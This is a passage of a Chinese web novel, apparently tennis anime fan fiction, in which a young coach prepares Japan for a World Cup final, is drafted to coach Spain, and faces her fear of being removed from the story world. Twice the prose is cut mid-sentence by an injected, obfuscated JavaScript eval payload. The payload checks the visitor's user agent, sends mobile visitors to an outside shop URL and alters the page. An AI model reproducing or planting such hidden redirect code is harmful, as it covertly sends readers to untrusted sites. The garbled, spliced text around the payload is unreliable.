“二阶堂这个笨蛋总喜欢什么事都往自己身上揽,她难道欠你们什么?” “她是在感情上软弱逃避,但是搞清楚,一直以来都是你们欠她!这场比赛谁输谁赢她都不好受,你们自说自话的时候有考虑过她的想法吗,啊恩?” “这个笨蛋,她以为世界杯结束自己可能会被迫离开这个世界!”他气急了,声量越来越大。 “本大爷再不会放心把她交给你们。”迹部景吾冷哼一声,抱着她径直从两人中间的空隙穿过。 他不知道的是, 他怀中的人并没有彻底醉倒。 她在意识迷离之际清楚地听到了每一个字。 132.第 132 章 自我麻痹一时爽,宿醉醒来火葬场。 此刻坐在床上的少女深刻领会了这个道理,她想她应该把自爱两个字贴在脑门上时时警醒自己,不是早已决定不去思考故事结束后她的结局吗,她该活在当下。 只是很奇怪,她并没产生任何宿醉该有的不适感。 阳光透过窗户洒进房间,在洁白的被子上投下一片温暖的光影,她侧过头,床头柜上放着半杯水,已经拆开的黑色包装的解酒片,以及药盒下压着的一张纸条。 七海拿起纸条放到眼前。 【二阶堂,你的命运早已和我们捆绑在一起,我们还在这里,就不会让你离开。】 泪水不知是什么时候落下来的,在纸条上溅起一圈圈水渍,将上面的字晕染成炸了毛的黑灰线条。 “谢谢。”她的声音很轻,像是在说给阳光下浮动的尘埃听。 将纸条放回床头,拿起手机,令她意外的是,那两个人并没有发来任何短讯。大概是被景吾昨晚说的话吓到了吧。 只是当她洗完澡推开门,准备去找教练组商量西班牙队的出战名单时—— “国光,精市,你们怎么站在这儿?”七海呆立在门口,眨了眨眼。 门外,幸村精市披着外套双手抱臂垂头不语,听到开门声猛地抬起头,手冢国光同样双手抱臂,紧抿着唇,听到开门声双臂瞬间松弛下来,落至身侧。 “七海......”他们异口同声,又同时陷入了沉默。 “抱歉,让你们担心了。”少女眼含诚恳道,“明明答应过你们要多为自己考虑,却没有爱惜自己的身体......我已经在反省了,今天就别训我了吧?” 说到最后,她捋了捋鬓角的发丝,不好意思地轻笑起来。 “七海,你不会离开的。”手冢国光目光坚定。 “嗯。七海,我们不会让你离开的。”幸村精市眼中闪过一丝痛意,随即柔声道。 她想过他们或许会道歉,或许会安慰,却没想到他们三个人给出了一样的承诺。即使知道他们的承诺并起不到任何作用,带着酸涩的暖意依旧一点点渗进心里。 “嗯,我知道。”七海缓缓点了点头,随后露出一抹张扬自信的笑容,“我还打算站在世界之巅,让你们都听我的,俯首称臣呢,我才不要这么早就离开。” “精市,昨天的话你别往心里去呀,既然你不愿意去法国,那就留在日本职网,好好替我赚钱。”她望向他俏皮道。 “国光,虽然我无法成为德国队的教练,不过顾问也是一样的嘛,所以你真的不用道歉,欧洲我会常来的。”她又转向他笑道。 还没等他们回答什么,衣兜里的手机震动起来,七海掏出手机看了一眼锁屏,抬头道:“三船教练发我短讯了,我就先去谈事情啦。” 少女挥挥手,似一阵风般穿过走廊,直到消失在拐角。 两人面前的空气中只余淡淡的洗发水香气,很快也随之消散。 ---------------------- “阿啦,平等院,你怎么也在?” 七海推开教练休息室的大门,房间里出现了一个意外的人影——教练组四人和平等院凤凰围着茶几坐下,桌面上散落着几张纸。 “老子是领队。”平等院凤凰波澜不惊地回了一句。 七海走到桌前无语斜眼,“知道你是领队,那我还是总教练呢,虽然只是名义上的。” 拿起桌面上的纸张,赫然印着她之前传过来的西班牙队的数据,当然,没有梅达诺雷。 三船入道开口:“七海,对于应战西班牙队的名单,你有什么想法?” 七海翻动着纸张,头也不抬道:“目前我只有两个能够确认的人选。” “哪两个?” “越前龙雅,让不二周助去和他打,梅达诺雷,让德川和也去和他打。” 德川和也走在阿修罗神道的正道上,倘若他能走到阿修罗神道的终点......也只有他和她一样有希望正面打败梅达诺雷了,他们早已私下联络过确认了一些事。 对于后半句话,平等院凤凰面上并没有露出任何意外的神色,入江和鬼那两个家伙早已做出了相同的决策,只是前者...... “不二周助?”平等院凤凰皱眉,“越前的能力是吞噬网球,不二那个小子偏偏会那么多技能,二阶堂,你让这两个人打?” “我自有妙计。”七海意味深长道,另五人闻言均意外地抬头看了她一眼。 “还有一个单打选手我不确定是谁,很有可能是之前我提到的那个被监禁起来的少年,所以我打算明天回西班牙队一趟,确定了再告诉你们。” “今天可以先把确定的名单公布然后说明一下行程安排。”七海建议道。 ...... 在召集下,很快众人便聚集在了日本队的训练场。 围网的对侧,站着日本代表队正选全员。 七海清了清嗓子,环视一圈后郑重开腔: “两天后就是对战西班牙队的决赛。大家如今已经知道了西班牙队的实力强横,我知道大家都想为决赛出一份力,我也知道有很多人至今还没有得到出场的机会。” “但是,就如我在半决赛的会议上所说的,我们要选出的,是最可能获得胜利的人,而不是分蛋糕人人有份。” “因此,我们将进行队内出战名单决定赛。如果这次没能选上,与其遗憾灰心不如想尽办法提升自己的实力。” “关于西班牙队的数据,大家也都看到了,我先宣布一下已经确认的人选名单。” “单打一,德川和也VS梅达诺雷。” “单打二,不二周助VS越前龙雅。” “单打三和两组双打尚未敲定。” “今天,截止到中午12点,给大家时间进行双打和单打的报名,大家如果决定好了可以来休息室找我们,或者如果有什么烦恼也欢迎来找我。”七海笑眯眯道。 “下午进行队内出战名单决定赛,优胜者获得决赛出战权,我会在场边看着。明天自由练习,为决赛养精蓄锐,任何事找斋藤他们。” 听出了自家天才教练的言外之意,毛利寿三郎忍不住发问:“小七海那你呢?” “公主殿下,明天你不来看我们练习吗?” 少女勾起了唇角:“我是西班牙队的顾问呐,也是时候去探一探西班牙队的真实情况了。” 西班牙队的神出鬼没可是让她好奇得抓耳挠腮,如果不是每天都有太多事要做,她早该回去一趟了。 白石藏之介皱起眉担忧道:“可是那个西班牙队不是很不好吗,七海,你一个人回去会不会有危险?” “是啊是啊,漂亮姐姐,让我和你一起去!”远山金太郎兴奋地原地蹦跳起来,探秘西班牙队,听起来就会是一场很有意思的冒险! “小金,你不想去和西班牙队打比赛了吗?”七海笑着挑了挑眉。 “啊呀......不是......” “那就老老实实留在日本队准备吧。大家也都一样,不用想着陪我去了。哦对了,还有一件很重要的事,一直没和大家说。”七海突然笑得神秘兮兮。 “西班牙队的总教练,是南次郎前辈哦。”少女道出这个石破天惊的消息,便好整以暇地站着等着少年们对此做出反应。 “诶?!——” 果不其然,所有人都被这个消息惊到目瞪口呆。 “七海,你怎么今天才说嘛。”丸井文太的泡泡被咬破了。 “总之,我和南次郎前辈的关系还可以啦,所以不用担心他们对我怎么样。”七海撩了撩头发,笑容愉悦。 ...... 七海到达休息室还没坐下多久,门口就出现了两人—— “哦呀,决定得很快嘛。”七海听到门口传来的动静转过头,挥了挥手,示意他们坐到对面沙发上。 “侑士,景吾,你们两个是想报名双打吗?”她还记得在对韩国队的练习赛上这两个人组了双打。 “七海,我们要报名单打三。”忍足侑士答。 “啊恩,忍足,本大爷好久没和你打比赛了。”迹部景吾轻抚着眼下的泪痣,傲然道。 上次冰帝的日与月打比赛还是在海原祭的舞会之后,而打比赛的原因......近在眼前。 七海登记完意外地抬头瞟了坐在对侧沙发的两人一眼,“好哦,那待会儿我去看你们打比赛。” 人流一波一波来,很快,单双打的报名结束,教练组几人分散到各个场地记录赛果。 第一场:迹部景吾VS忍足侑士 “是时候,轮到我这月亮来发光了。” “我这太阳可还没落山呢!” 一开场,赛场上的两人便分毫不让,战况前所未有地激烈,七海站在场边默默观察着。 这两个人又是什么样的存在呢? 太阳与月亮的使命,并非同时显现在天空,而是在万物中交替出现,互为影伴。 本是同根生却异途而居,一轮烈日炽烁天际,一轮明月泛起波光。前者熊熊燃烧,后者静谧流淌。两种截然不同的姿态,却都在这片天幕下尽情绽放。 然而,无论是太阳还是月亮,都代表着——只要有他们在,这片天就永远不会黑暗。 这是独属于冰帝的日与月的温柔与希望。 三年来性格迥异却如此投契的两个人互相支持,互相成就,如今,为了能够一同绽放出耀眼的光芒,月亮和太阳都竭尽全力,这才实现了日月同辉。 “比赛结束,迹部景吾6-3获胜!” 两人在网前见礼。 “喂,忍足,你有没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369771|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有后悔选单打3?” “月亮本就是被太阳吸引着呐。”忍足侑士操着慵懒的嗓音,汗水密布的脸上勾出一抹清浅的微笑。 “二阶堂,本大爷说话算话,啊恩?”迹部景吾挑眉,又将话头递向场边的少女。 七海反应了几秒才意识到,他指的是日法比赛那天他说的“以后的比赛等他胜利归来。” “嗯。景吾,侑士,你们打了一场非常、非常精彩的比赛。”她粲然一笑。 她的旅途能够被这样的日月映照过一段路,何其有幸。 第二场:大曲小金pair VS 种岛白石pair “种岛,你果然和藏之介组了双打呀。”七海笑道。当时她还开玩笑说想和白石组双打就来贿赂她,没想到还真应验了。 “说起来,大曲和小金组了双打,你该不会是想着,如果自己胜出那么藏之介有上场机会,如果大曲他们胜出,自己的搭档也能上场吧?” “种岛前辈......”白石藏之介恍了神,赛场上的大曲龙次不知何时偷偷背过了身。 “不愧是二阶堂,一下就被你看穿了☆” “种岛。”她看着他,语气忽地放缓了,“你是一个实力与柔情并重的好人,如果你以后考虑从事网球相关的工作,要不要来我的俱乐部?” 种岛修二意外地挑了挑眉:“二阶堂的好人卡,能收到是我的荣幸呐。至于邀请,我会认真考虑。” 七海转而看向场边观赛的另两人: “丸井,木手,虽然这次世界杯你们没能获得出场权,但两年后还有一场,到时双打就是你们的天下了。我很看好你们的搭配,成长空间还很大,不要灰心呐。” “没关系的,七海。”丸井文太笑着,眼底仍是闪过丝丝不甘。 “对了,今天还有特殊嘉宾到场了,在等你哦。”七海勾起唇角,指了指不远处倚着墙的身影,那是他相处了三年的同伴。 “Jack!”丸井惊喜道,大步走了过去。 最终,双打二出线组合为大曲小金pair。 双打一,七海毫不意外地得知了胜者是越知毛利pair。 而现在还在进行的最后一场比赛是......七海走向另一个赛场,看到了场上挥汗如雨的两人——第三场:入江奏多VS迹部景吾。 “Game 入江,4-4!” “Game 迹部,5-4!” “Game 入江,5-5!” 七海僵立在场边,入江,他哭了,那样的眼泪,绝非演技。 镜片后,泪水顺着橙发少年的脸颊肆意地流淌下来,与汗水交织在一起,划过他绷紧的下颌线。 “好了,比赛到此为止。”斋藤至突然走上网前。 “决赛的四个高中生名额已满,因此单打三迹部君赢得决赛资格。” 是了,她差点忘了,决赛也有初高中生人数限制,四个高中生加三个初中生,不能多不能少。因此,在另两场双打结果出来的那一刻,单打的人选就已注定。 “开什么玩笑!比赛还没结束!”迹部景吾怒喝着。 入江奏多将手中的矿泉水一口气饮尽,背上网球包,笑着眨了眨眼。“因为规则就是这样,绝对别让机会溜走哦,迹部。” “二阶堂教练。”入江奏多走到七海面前。 “你曾对我说过吧,‘未来你或许会遇上极为强大的对手,那时候,让出一球都可能导致你最终坠入深渊。’” 七海沉默着点了点头,那是在合宿营地初战入江奏多那天她说的话。 “迹部,今天我可是一球没让呐,胜利,终会是属于你的。在决赛上进一步进化吧,我期待着。”他拍了拍他的肩,转身离去。 迹部景吾还准备追上去说些什么,却被少女拦下。 “景吾,无论什么样的路,都坚定地走下去吧。” 夕阳把墨尔本的天空染成了温柔的橙红色,微微的海风轻拂而过,吹动少女乌黑的长发。 她站在他面前,面容被柔和的光线映照着,紫晶般澄澈的双眸似乎早已洞悉了一切,她浅笑着开口: “景吾,别回头。” --------------------- 夏风习习,夜晚的日本队训练场上站着两个人。 “七海,我准备好了。”不二周助站在她面前蓝眸凌厉,棕色的发丝在微风的吹拂下轻轻飘动着。 “周助,那我要上了。”七海同样面色凝重。 ...... “周助,忘了吗?” “忘了一些了。” “现在呢?” “忘了一大半了。” “那现在呢?” “七海,我已经全部忘了。” “好,周助,记住现在的状态。” 133.第 133 章 “这件衣服,终于有用武之地了。” 总决赛前日,脱下教练的白大褂,七海将挂在衣柜中的西班牙队制服取出,套在身上,默默走出房间。 不出她所料,来到西班牙队选手楼楼下时,安保一句都没有多问便直接放行,或许她该感谢马尔斯那个女装大佬。 出乎她预料的是—— “南次郎前辈住院了?”会议室内,七海愣在原地,脚下和生了根似的无法动弹。 “嗯。”梅达诺雷点了点头,今天的他看起来分外温和。 “七海,还要感谢你。”连称呼也变了,七海心下了然。 越前龙雅站在一旁,神色复杂。“昨天老爸又觉得头晕。说着什么姑且相信一次女人的直觉,就去医院做了个检查,没想到查出了脑动脉瘤。现在已经办理了入住手续,住在皇家墨尔本医院,小不点在医院陪护着。” “神様,原来是你呀,不愧是神的直觉。”大概是因为自家老头子的病情还算稳定,橙子少年又有心情调侃起来。 七海点了点头。“嗯,那天在酒吧我听南次郎前辈说自己最近总是头晕,这种情况通常是大脑出问题,所以就劝他去做个检查。” “还好,早发现了就好......”她拍了拍胸口,看来她的直觉果然很准。 越前龙雅却捕捉到了另一个信息:“酒吧?神様,心情不好?该不会是因为手冢君和幸村君的比赛吧。”他三言两语就将她看得一清二楚。 “越前君,问得太多了。”七海一个斜眼,少年见状轻笑出声。 一边,梅达诺雷歉然开口:“所以有一件事要拜托你,七海。” “这也是南次郎的意思,麻烦你暂时担任总决赛西班牙队的代理教练吧。” “行......”听到南次郎的意思,她下意识应答了一个字,随即反应过来面前的绿发少年到底说了什么。 “啊?!”少女目瞪口呆,“可是西班牙队不是有代理教练吗?” “那个教练并不懂网球,只是代行一些行政事务。”弗里奥走进房间边解释道。 “我才不想当叛变的二五仔,还是让那个代理教练上吧。”她断然拒绝。 “二阶堂教练,你今天过来是想探明西班牙队的实力吧。”弗里奥一语道破。 “成为代理教练,我们才陪你打比赛哦,这样才算love&peace~” 少女满头黑线,“为什么这么执着想让我当西班牙队的代理教练?”有她没她大抵也不会有什么区别。 “稍微有点想看日本队那群少年们生气的样子呢。”马尔斯饶有兴致道。上次在花园餐厅,那两个护花使者生气的样子就很有趣。 “哈?就因为这个?” 七海此刻疯狂头脑风暴着,如果成为了西班牙队的代理教练,那她就能掌握更多西班牙队的数据,反正等明早比赛前她再偷溜回日本队就行...... 虽然言而无信不好,但是他们一开始对她态度也不怎么样,就算扯平了吧! 她抬头应声:“那好吧。对了,那个被监禁的选手今天到了吧,明天可就是总决赛了。” “二阶堂教练,你在找我吗?我可对你早有耳闻了。” 西班牙队会议室门口再次出现一道人影,金色的长卷发半边松松扎起,湛蓝的双眸,左边的眉尾上点着一颗小痣,配上西班牙队的皇家制服,贵公子气质十足。 “你就是那个,罗密欧·费......”她想不起全名了。 “罗密欧·费尔南德斯,二阶堂教练,喊我罗密费尔就好。”少年倚靠着门,随意道。 “罗密费尔,你好。” “二阶堂教练,你似乎活得很不自由啊。又是日本队教练,又是德法瑞西四国的顾问,以前还是学校网球部的部长吧,为了他人和队伍付出一切,自己到头来又得到了什么?”他突然发问。 七海皱眉,“你收集了我的数据。” “听龙雅说,你自称是神呢。神,最终都是走向悲剧的哦,做个自私的凡人不好吗?” 七海愣了愣,这个少年话里话外,完全是在为她着想。 他的目光突然深邃起来,瞳孔中发散出慑人的光线,“其实,我很好奇神会畏惧什么,二阶堂教练,不如我们来打场比赛如何?” “......我也正有此意。” 嘴上应是,七海的大脑同样在飞速旋转,好奇神会畏惧什么,所以要和她打比赛?看来,这个罗密欧的能力是让人直视内心的恐惧一类的精神技能。 她恐惧的是什么?层层迷雾之后答案似乎清晰可见,但首先,穿越迷雾。 一众正选在西班牙队的训练场边集合观赛。 “比赛开始,二阶堂发球!” 几局之后—— “什么?!”对场的金发少年面色骇然,透过她的瞳孔,罗密欧看到的并不是自己幻化的某个具象的人,而是,一片混沌。 这是从未有过的情况,过去,与他交战之人内心的恐惧的具象化多是一些自己心有畏惧无法打败的对手。 七海再次站在了那片她曾流浪过的混沌之中。 嘶哑的声音在这片无序的空间中变得粘稠,一遍又一遍重复着: “离开吧。” “故事结束,你该走了。” 她以为她会看到他们,她以为会出现众叛亲离的对话,亦或是过往对于那两个人伤病的执念重现,可实际上,那些早已不再是她恐惧的事。 她看透了每个人的真心,看到了每个人的未来,她怕的是...... 所有的未来都与他们无关,所有的真心都无法交付答案。 “我才不要离开!”一个个高速发球凌乱地击至对场,试图将混沌中的声音搅散,那道声音却越发迫近,最后在耳畔不停炸响。 “离开吧。” “离开吧。” “离开吧。” “凭什么!我才不走!” “凭什么被你们玩弄!” 她已经走到这一步了,什么自由不自由,从始至终,除了牺牲性命是被蛊惑,其他一切都是她的主动选择! 好不容易才走到今天,圆满了她的执念,熬过了质疑、诽谤、痛苦,如今声望、能力、信任、伙伴、真心她都得到了,她该享受成果了,凭什么这时候让她走! 她还有更远大的理想没有实现,她才不要走! “利用完了我就过河拆桥,凭什么!我是你的工具吗,狗东西!” “我、才、不、要、离、开!” 精疲力竭之际,少女打出最后一个高速对角底线球,混沌之海层层碎裂成无数破碎的片羽,在天空中翻飞旋舞,最终化作齑粉,悄然消逝在赛场上。 “哈......哈......”她半跪在地面上,汗水密布脸颊和脖颈,不住地喘着气,神情狠厉。 “二阶堂教练,你......”罗密欧还未从刚才他看到的那一幕中缓过神来。那是什么地方?那道声音又是怎么回事? 他似乎触及到了,完全不属于这个世界的事物...... 【神,最终都是走向悲剧的哦。】 那是,属于神的穷途末路。 “神様,你没事吧?”越前龙雅站在场边蹙着眉,方才她说出的话透着诡异,什么离开? “本小姐才不会有事......狗东西......”七海咬牙切齿地抓起地上的球拍,撑着拍柄站了起来。 她抬头看向对场的少年:“多谢你了,罗密费尔。”这场比赛让她再次坚定了,只要有一丝可能她就绝不会离开。 心中残存的阴霾一扫而空,七海发现了不对劲的地方。“哇,罗密费尔,你完全没出汗诶。” “那是因为,罗密欧长期学习瑜伽,拥有无限恢复体力的能力哦。”马尔斯撩了撩长发,笑着解答了她的疑问。 “这根本不符合能量守恒定律吧......”七海小声吐槽起来,心中却紧了紧。 无限恢复体力,意味着景吾的持久战战术将完全作废,他必须另辟蹊径了。还有直面内心的恐惧......他的恐惧会是什么呢。 先发个短讯给他,趁着夜幕还没降临,她要多收集些数据。 七海发完短讯看向场边的金发小少年,“塞达,要不要和我打一场比赛?”她知道他对她有多感兴趣,必然不会拒绝打比赛的邀请。 ------------------------ 两小时后的日本队休息室。 “都已经黄昏了,七海怎么还没回来?”大石秀一郎担忧道。 平等院凤凰阴沉着脸:“老子现在打电话过去。” 手机调整成了外放,一声声忙音单调而冰冷,在寂静的环境中显得格外刺耳。 少年们坐在沙发上,神情凝重,不安的情绪在空气中蔓延开来。所有人的视线都向声源聚焦,却只能听见那无休止的"嘟嘟"声。 时间一分一秒地流逝,电话依然无人接听。 “公主殿下该不会被西班牙队的坏人绑架了吧!”切原赤也一句无心之言,众人的神情又冷肃了几分。 “本大爷现在去找她。”迹部景吾站起身。 “我也去。”幸村精市站起身。 “那我也要去!”远山金太郎兴奋起来。 众人群情激愤一个个都打算向西班牙队进发的时刻,茶几上已黑掉的屏幕突然亮起,来电显示——二阶堂七海。 “二阶堂,你......”接起电话打开外放,平等院凤凰话刚问到一半,就被对面打断。 “我可不是二阶堂。”越前龙雅在手机另一头笑容玩味,吓唬吓唬他们吧。 平等院凤凰立时听出了屏幕另一头是谁,声音发沉:“越前龙雅,二阶堂呢。” “她不是日本队的教练吗?问我做什么?”少年抛着橙子,视线移向赛场上正对着塞达一顿正义爆锤的少女,轻笑出声。 “越前龙雅你给老子少废话,这是二阶堂的手机,她人呢?!” “平等院,消消气。神様是西班牙队的顾问,明天就是总决赛了,留在西班牙队也很正常呐。” “让她接电话。” “她现在恐怕接不了电话呢......哦对了,别妄想擅闯西班牙队的选手楼,会被退赛的哦,还是我要谢谢你们让出胜利?”越前龙雅疯狂拱火。 “越前龙雅,你们到底对她做了什么?”迹部景吾烦躁得一把抓起手机冲着屏幕就是一句冷声质问。 “什么也没做。不如这样吧,日本队胜利,我们就把人还给你们。西班牙队胜利,二阶堂就留在西班牙队。” “她不是两边争抢的物品,你这个混蛋,也配喜欢她?” 此话一出,日本队休息室陷入了一片寂静。 幸村精市眉头紧皱,“迹部,这是怎么回事。” 然而还没等迹部景吾回复,电话那头又传来了越前龙雅的调笑声: “阿啦啦,神爱世人,被神吸引不是很正常的事吗?总之,明天赛场上见,日本队的各位。”电话被挂断。 “不二,本大爷要和你换单打顺序。” “迹部,不需要。和越前君的比赛,我一定会赢。”不二周助微笑着,身周却散发出阵阵冷意。 “我们的小教练还真是受欢迎啊,先和德国队抢人,又和西班牙队抢人。” “可是,七海到底怎么了?她为什么接不了电话。”白石藏之介还想着之前的话。 “他们不会对她怎么样的。”德川和也突兀开口。就算真的要发生什么事,安东尼奥......会护着她。 “那就这样吗?今晚就留七海在西班牙队吗?” “我们这里,不是还有个欺诈师吗?”入江奏多意有所指。 “仁王君。”柳生比吕士刚开口,仁王雅治就接过了话头。 “噗哩,我会过去一探究竟的。” --------------------- 西班牙赛场上,七海仍在对塞达谆谆教诲着。 过去的两个小时,七海干脆地开启了绝对主宰,靠着无可比拟的磅礴精神力把对场的小少年直接打了个6-0,6-0。 “塞达,你才14岁怎么就一肚子坏心眼!阿拉梅侬玛的事,做得太过分了!”七海拿着拍子又轻拍了一下少年的头。 看看小不点和小金,作为同龄人都是多么纯良可爱的孩子,眼前这个娃是怎么回事! “二阶堂教练,别打了......姐姐,你也帮我说句话呀。”塞达无奈道,他根本打不过她,不如说输得彻底,那些伤人的计策也被眼前人随意化解了。 “小塞达,二阶堂教练说得没错哦。”马尔斯站在一旁微笑着。 七海收起拍子,语调突然变得认真。“塞达,有个人曾告诉过我,网球不是用来伤人的。” “或许一开始就是因为这句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369772|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,我才......”她顿了顿,短暂地陷入回忆。 “塞达,靠伤人获胜没什么了不起的。你和你信任的马尔斯组双打,会希望看到他受伤吗?小金有一招技能叫以牙还牙以眼还眼,而我想教会你的是——” “将心比心。”她蹲下身盯着他一字一句道。 “将心比心......” “二阶堂教练......”小少年喊出她的名字犹豫了半天,“现在改变,还来得及吗......” “当然来得及。” “那,我可以也喊你姐姐吗?” 七海失笑,“如果你愿意从此改掉随意伤人的习惯的话,可以。” “七海姐姐!” 完了,她怎么觉得改邪归正的塞达萌萌的...... —————————— 或许是感念于她间接救下了自家领队,又或许是因为队伍中的几个反派代表都有意无意地被她“驯服”了,今夜和西班牙队的少年们吃的这顿饭格外和谐。 “诶,罗密费尔,你明年要去英国留学吗?”咽下一口慕斯蛋糕,七海插嘴道。 “目前是这么打算的呢。” 七海:“明天和你打比赛的选手,大概也要去英国哦。” “Keigo Atobe,我已经收集了他的资料。”罗密欧浅笑着。 对于这个消息她并不意外,她想说的是—— “他或许对于要不要去英国还有犹豫,等比赛结束,麻烦你劝劝他吧。” “是因为你吧,七海。”罗密欧笃定道。 “是。但是我已经欠他太多了,不能再让他为了我走上一条更加不自由的路。”日不落帝国,正适合他这颗太阳。 “那又怎么样呢,神様。你的付出一点不比其他人少呐,偶尔也该学着去享受别人为你服务。” 七海诧异地抬头瞟了眼坐在对面少年,说起来,从晚饭开始他就专攻着面前的那盘pinchos,难道越前龙雅是在西班牙出生的? 毕竟,食物的偏好标志着一个人的归属。 “七海,留在西班牙队,我们会给你开很高的工资。”梅达诺雷平静道。 少女哭笑不得,“现在不是工资不工资的问题......”而是她到底能不能留下的问题,想到这里,脸上的笑容淡了几分。 她想要留下的意志坚如磐石,可是到底能否留下,似乎并不由她决定。 ...... 饭毕,她独自上了顶楼天台吹风,扒着天台的栏杆,仰望着月色。 今夜是圆月,明月高悬于夜空,月光柔和缱绻,如细丝般织就一层梦幻的纱帐笼罩着这片空间,平添了许多柔和。 夏风温热,吹动两肩的流苏徐徐晃动,身后传来脚步声,和一声声有规律的“啪”声,她不必转头也知道那个人是谁。 “越前君。” “神様,你不是这个世界的人吗?” 越前龙雅走到她身边,背靠着栏杆,一手插兜一手抛着橙子随意问道。 七海的身形僵硬了一瞬便恢复正常,“被你发现了。” “我们初见那天你喊出我的名字,但是小不点早忘了我。在那之后我就觉得奇怪了呐。” “今天打比赛,你说不要离开,是什么意思?” “流浪了很久的动物,最怕的就是关心,让他以为自己有了归属,然后又被迫离开。”她望着月空默默地重复了那天他对她说的话,少年接住了落下的橙子,不再继续。 “越前君,其实那天你说的话,我明白得并不比你少。” 她又笃定道:“西班牙队是一支很好的队伍,可我看得出来,你仍旧打算离开,对吗?” “神様,在你面前,我真是无所遁形呐。”他低笑出声。 沉默在这片空间一点点弥散开,不知过了多久—— “嘛,明早就是总决赛了,就别这么伤感了,我先回房间休息了。”七海直起身,侧过头冲着越前龙雅笑了笑,见他仍是沉默不语,便自顾自离去。 只是回到房间刚洗完澡,门外又传来了叩门声。 “越前君?”七海眼含诧异地拉开门,门外的人不是越前龙雅又是谁。 “神様,让我先进去。”越前龙雅径直走进房间,七海关上房门,再次转过身来时,语气笃定:“仁王,是你吧。” “噗哩,二阶堂,还是一如既往敏锐。”仁王雅治收起了幻影,弓身站在窗边。 “你怎么过来了?” “二阶堂,看来你并不知道我们打给你的电话被越前龙雅接起来的事。” 七海有种不祥的预感,“他该不会放了什么狠话吧。” “又被你猜对了。” 仁王雅治再度幻影成越前龙雅,绘声绘色模仿道:“不如这样吧,日本队胜利,我们就把人还给你们。西班牙队胜利,二阶堂就留在西班牙队。” “然后,迹部就说——”他接着幻影成了迹部景吾。 “她不是两边争抢的物品,你这个混蛋,也配喜欢她?” “嗯,就是这么个情况了,piyo。”仁王雅治笑得很开心。 七海扶额哀叹,“这到底在搞什么......” “总之,因为那通电话,现在大家的斗志都很足,发誓要打败西班牙队,二阶堂,都是托你的福呢。” “仁王,别以为我听不出来你的阴阳怪气。”七海一个鄙视的眼刀扫过去。 “不过还是辛苦你了,夜探西班牙队什么的。”她抽了抽嘴角,“拜托你回去以后告诉大家我很好,不用担心。” 他却没有应答。 月光透过窗玻璃打在白发少年的脸上,几绺白发从额头垂落下来,半遮住了那双隐隐带着戏谑的湖绿色双眸。 “二阶堂,我最不想幻影的人是你。”仁王雅治双手插兜,语气认真。 “......为什么这么说?” “噗哩。心里装了太多人太多事,苦闷也会随之增多呐,二阶堂。”这也是他幻影了这么多人之后的经验之谈。 “不如,以后试试只装着一个人。”他意味深长。 “仁王......”七海的面色陷入怔松,反应了一会儿她才貌似理解了他的话。 “你的意思是,让我从他们里选一个人谈恋爱吗?” “笨蛋。”他耸着肩低声闷笑起来。 . “我说的是你自己。” 134.第 134 章 总决赛当日。 墨尔本上空,炽热的太阳毫不留情地笼罩着整片赛场,将整个场地染成一片灼热的金色。 阳光如同倾泻而下的熔岩,将地面烤得滚烫,刺目的光线反射在硬地表面,空气都仿佛在微微发颤。 一波又一波的人流向赛场涌来,手中拿着水瓶入场券和应援队伍的旗帜,从颜色来看,居然接近一半一半。 局势早已悄然发生变化,日本队不再是吊车尾,而是攻势凶猛的最强黑马。 场馆顶端的追光灯打在地面上形成了一个个白圈,主赛场的观众席上座无虚席,嘈杂的人声在空中交织成一片细密声波。 “让大家久等了!马上要进行的是世界杯决赛——西班牙VS日本的比赛!” “有请双方选手入场!” “首先入场的是,西班牙队——” 一大早,七海就计划着从西班牙队溜走赶去日本队选手楼和少年们汇合。 遗憾的是,今天的梅达诺雷很显然不打算给她这个面子,早就守在了门口,把她像拎小猫一样揪住,一路带到了西班牙队的大巴上。 因而,此时此刻,从赛场下方的选手通道走向赛场的队伍,打头的人成了穿着西班牙队制服的二阶堂七海。 观众席一片哗然,哗然之后是更为热烈的讨论声。 “西班牙队的教练不是武士南次郎吗?” “那个女生,不是开幕式上的日本队教练吗?她怎么又去了西班牙队?” “搞什么啊?” “我想起来了,开幕式那天西班牙队就说让那个二阶堂教练回归西班牙队。” 雷特鲁和德国队的少年们坐在为日本队选手席后的VIP观众席上,见此一幕笑容越发灿烂,“七海每次的行动都让人出乎意料啊。” “我们为了她来了日本队应援,结果她却去了西班牙队,让南次郎捡漏了。”欧诺基伊哈隔着几个座位调侃道。 坐在身边的阿玛迪斯似乎已经习惯了七海的出其不意,只是面无表情地盯着赛场。 “接下来,有请日本队入场——” 越前龙雅站在她身后,神情愉悦。“神様,今天可是让你大出风头了。” “呵呵,那我真是要谢谢你和梅达诺雷了。”七海面无表情道,额头隐隐浮现出具现化的井字。 谁能想到梅达诺雷看起来高瘦,力气居然那么大,她完全挣脱不开!不对,在西班牙的时候她就领教过了他的手劲。 众人站在网前,直到日本队同样抵达网前,双方见礼。 七海抽搐着嘴角,颇有些心虚地用余光瞥向站在自己面前的三船入道。 “三船教练......呃,那个......” 三船入道的反应却出乎她的预料。“七海,南次郎的事我已经知道了。今天你就留在西班牙队吧,无妨。” 哼,把她留在西班牙队,这群小子的斗志只会更加激昂,南次郎,你这次是搬起石头砸自己的脚啊。 远山金太郎不干了,“诶!为什么!漂亮姐姐该回日本队嘛!” “七海姐姐是西班牙队的!”塞达毫不示弱。 